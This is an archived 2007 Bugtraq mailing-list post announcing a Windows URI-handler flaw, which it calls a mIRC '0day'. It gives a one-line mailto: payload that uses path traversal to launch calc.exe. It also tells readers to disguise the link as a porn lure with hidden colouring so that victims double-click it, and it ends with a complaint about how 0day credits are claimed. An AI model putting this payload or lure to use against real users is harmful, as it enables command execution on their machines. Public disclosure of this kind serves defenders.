bugtraq - 0day: mIRC pwns Windows

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [thread-next>] [day] [month] [year] [list]

Date: 3 Oct 2007 16:06:29 -0000
From: jinc4fareijj@...mail.com
To: bugtraq@...urityfocus.com
Subject: 0day: mIRC pwns Windows

Yipiya Ypipiya yah yeah. Here is a 0day! hurra mIRC pwns your Windozes! (ref. pdp)

send this to a user and make him double click on it (masquerade it with pink fore/background color and say 'free pr0n click here ->' it works all the time! damned perverts):
mailto:%xx../../../../../../../../../../../windows/system32/calc.exe".bat

Now the question is, should we say *0day* for a bug in a core element that is WELL KNOWN by everyone (reported months ago), and will be patched, or should we try to get credits for finding a *vector* as pdp did with the supposed *acrobat reader pdf bug* ?

Fame kills bugs.